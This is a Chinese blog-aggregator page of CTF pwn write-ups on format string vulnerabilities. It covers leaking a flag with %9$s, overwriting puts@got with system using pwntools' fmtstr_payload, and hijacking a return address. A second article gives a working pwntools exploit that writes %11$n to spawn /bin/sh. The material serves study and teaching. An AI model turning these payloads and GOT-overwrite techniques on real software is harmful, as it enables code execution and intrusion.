PWN格式化字符串2——例子

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PWN格式化字符串2——例子相关的知识,希望对你有一定的参考价值。

参考技术A

这一部分主要写三道PWN题,都还算是比较简单的,同样参考CTF-wiki里的writeup

这道题是64位的格式化字符串漏洞,主要利用格式化字符串漏洞泄露内存中的数据就足够了。
64位的偏移计算和32位类似,都是算对应的参数。只不过64位函数的前6个参数是存储在相应的寄存器中的。那么在格式化字符串漏洞中呢?虽然我们并没有向相应寄存器中放入数据,但是程序依旧会按照格式化字符串的相应格式对其进行解析。
以UIUCTF中 pwn200 GoodLuck为例进行介绍。需要在本地设置一个flag.txt文件

IDA看一下程序,发现错误出在 printf(format) 这里

里边的format字符串是接收用户的输入,这样就提供了触发该漏洞的机会。

在printf处下断点,放开运行

(1)可见flag对应的栈上的偏移为5,除去对应的第一行为返回地址外,其偏移为4。
(2)此外,由于这是一个64程序,所以前6个参数存放在对应的寄存器中,fmt字符串存储在RDI寄存器中,所以fmt字符串对应的地址的偏移为10。
(3)而fmt字符串中 %order$s 对应的order为fmt字符串后面的参数的顺序,所以我们只需要值入 %9$s 即可得到flag的内容

在目前的C程序中,libc中的函数都是通过GOT表来跳转的。此外,在没有开启RELRO保护的前提下。每个libc的函数对应的GOT表项是可以被修改的。
因此,我们可以修改某个libc函数的GOT表内容为另一个libc函数的地址来实现对程序的控制。
比如说我们可以修改printf的got表项内容为system函数的地址。从而,程序在执行printf的时候实际执行的是system函数。
假设我们将函数A的地址覆盖为函数B的地址,那么这一攻击技巧可以分为以下步骤
(1)确定函数A的GOT表项
这一步我们利用的函数A一般在程序中已有
(2)确定函数B的内存地址
这一步通常来说,需要我们子集想办法来泄露对应函数B的地址。
(3)将函数B的内存地址写入到函数A的GOT表地址处。
这一步一般来说需要我们利用函数的漏洞来进行触发,一般利用方法有如下两种
·写入函数:write函数
·ROP

开启了NX保护,即数据不可执行

main函数

简单运行一下pwn3,再看主函数,需要简单进行一下reverse
ask_username()函数接收第一次的输入,ask_password对输入进行验证,和"sysbdmin"进行比较

ask_username()中对输入字符串进行了简单的变化,先计算一下需要输入的字符串

计算出输入值为 \'rxraclhm\'
在主循环中有put_file(),show_dir(),get_file()三个函数
put_file()

看看put_file函数中,接收我们输入file的名字以及内容。
使用malloc分配244个字节,建立如下数据结构,多次的put将形成一条链表。

get_file()

get_file()函数中存在格式化字符串函数。
要求先输入filename,然后遍历链表,匹配filename,找到则输出内容。找不到的话,是输出当前栈里的内容。
show_dir()

遍历链表,将所有的filename串起来输出。
并且里边调用了puts()函数,因此可以修改puts@got表

利用之前的知识来计算偏移量,输入 aaaa.bbbb.cccc.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
,则

有两种判断偏移的办法
(1)看%p输出的结果里,偏移为7
(2)从栈中看0xffffced4到0xffffceec的偏移为7

(1)首先读取puts@got的内容,得到puts函数的地址,然后通过libc中偏移量固定的方式计算出system的地址。
(2)将system地址写到puts@got里,替换puts函数
(3)让程序执行pus(\'/bin/sh\'),那么实际执行的是system(\'/bin/sh\')

再说两句
这道题踩了几个坑,首先是用题目自带的libc,怎么做也做不出来。后来用LibcSearcher,也匹配不到,到后来还是去libc database search搜索到的对应libc版本。
嗯,得到了puts的地址之后,慢慢做,会出来的。
fmtstr_payload()
fmtstr_payload()是pwntools里面的一个工具,用来简化对格式化字符串漏洞的构造工作。
可以实现修改任意内存
fmtstr_payload(offset,printf_got:system_addr) (偏移,源地址:目的地址)
mtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成printfGOT:
systemAddress;本题是将0804a048处改为0x2223322
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload

hijack retaddr
利用格式化字符串漏洞来劫持程序的返回地址到我们想要执行的地址。

开启了数据不可执行(NX),并且有RELRO,所有不能修改GOT表

首先是一个让我们输入username和 password的函数

需要注意的是里边读取密码的部分,
read(0,(char *)&a9+4,0x14uLL);
漏洞出现在下边的函数中,其输出内容为&a4+4。

第二个printf输出的内容正&a9+4好是之前read写入password的内容。
并且在IDA中分析可以得知&a9+4-&bufa=14h=20
system(\'/bin/sh\')
发现strings里面有/bin/sh,在0x4008A6地址处有一个直接调用system(\'/bin/sh\')的函数。

如果修改某个函数的返回地址为0x4008A6,那就相当于获得了shell。
虽然存储返回地址的内存本身是动态变化的,但是其相对于rbp的地址并不会改变,所以我们可以使用相对地址来计算。利用思路如下:
(1)确定偏移
(2)获取函数的RBP与返回地址
(3)根据相对偏移获取存储返回地址的地址
(4)将执行system函数调用的地址写入到存储返回地址的地址。

在printf处下断点,输入aaaaaaaa为用户名,
密码输入为 %p%p%p%p%p%p%p%p%p%p

可以看到用户名在栈上第三个位置,除去本身格式化字符串的位置,其偏移为5+3=8。
并且栈上第二个位置存储的就是该函数的返回地址(其实也就是调用show account函数时执行push rip所存储的值),在格式化字符串中的偏移为7。
与此同时栈上,第一个元素存储的也就是上一个函数的rbp。所以我们可以得到偏移0x7fffffffdde0- 0x7fffffffdda8=0x38。继而如果我们知道了rbp的数值,就知道了函数返回地址的地址。
0x400d74与0x4008A6只有低2字节不同,所以我们可以只修改0x7fffffffdda8开始的2个字节,因此可以利用$hn只对后三位修改即可,0x8A6对应的10进制数字为2214,但是这里需要修改为2214+4=2218

[星盟 pwn LAB]格式化字符串:fmtstr1

文章目录

一、checksec

二、IDA反编译

int __cdecl main(int argc, const char **argv, const char **envp)

  char buf[80]; // [esp+2Ch] [ebp-5Ch] BYREF
  unsigned int v5; // [esp+7Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  be_nice_to_people();
  memset(buf, 0, sizeof(buf));
  read(0, buf, 0x50u);
  printf(buf);
  printf("%d!\\n", x);
  if ( x == 4 )
  
    puts("running sh...");
    system("/bin/sh");
  
  return 0;

从反编译的伪代码看,需要x=4,才能执行system("/bin/sh")并拿到shell。

三、解题思路

1 基本思路

伪代码中的printf(buf)中的buf是用户输入的字符,因此,这个位置存在格式化字符串漏洞。往下看伪代码,当x=4时,才会拿到shell。下面,我们在ida中查看x的值,x位于data段,地址是0x0804A02C,值是3。思路是通过格式化字符串把这个值改为4。

2 通过gdb调试查看栈空间

在read的位置设置断点,通过如下命令跟进去,并输入一些参数AAAAAAAA,执行到第一个printf这里,并查看stack:

gdb fmtsrt1
b *0x0804859d
r
ni

通过stack20查看堆栈:

图中注意区分一下两个概念:printf的参数和格式化字符串参数。0xffffcf90的8个A是printf的第一个参数,8个A存储在0xffffcfbc的位置,这个位置处于printf的第12个参数的位置,也是格式化字符串的第11个参数的位置。0xffffcf98的0x50向后是格式化字符串的参数。

3 篡改0x0804A02C的数据

由于格式化字符串本身是存储在stack上的,这就可以在stack上写入任意数据,也就是说,可以泄露任意地址的内存;同样,也可以篡改任意地址的数据。我们把送入的AAAAAAAA替换为0x0804A02C,这时,格式化字符串的第11个参数就填写为0x0804A02C,为了篡改这个地址的数据,送入%11$n,就能够将这个地址指向的值填充为%11$n之前已打印的字符,正好是4。

四、exp

from pwn import *
 
conn=process('./fmtstr1')
x_addr=0x0804A02C                                      
payload=p32(x_addr)+b"%11$n"
conn.sendline(payload)
conn.interactive()

五、格式化字符串漏洞的功能

  • 泄露栈上的地址;
  • 泄露任意地址;
  • 写入栈上的地址;
  • 写入任意地址。

以上是关于PWN格式化字符串2——例子的主要内容,如果未能解决你的问题,请参考以下文章

[星盟 pwn LAB]格式化字符串:fmtstr1

pwn-格式化字符串漏洞

Pwn-10月26-Hitcon-四

nepctf-pwn

Linux pwn入门教程——格式化字符串漏洞

[星盟 pwn LAB]格式化字符串:fmtstr2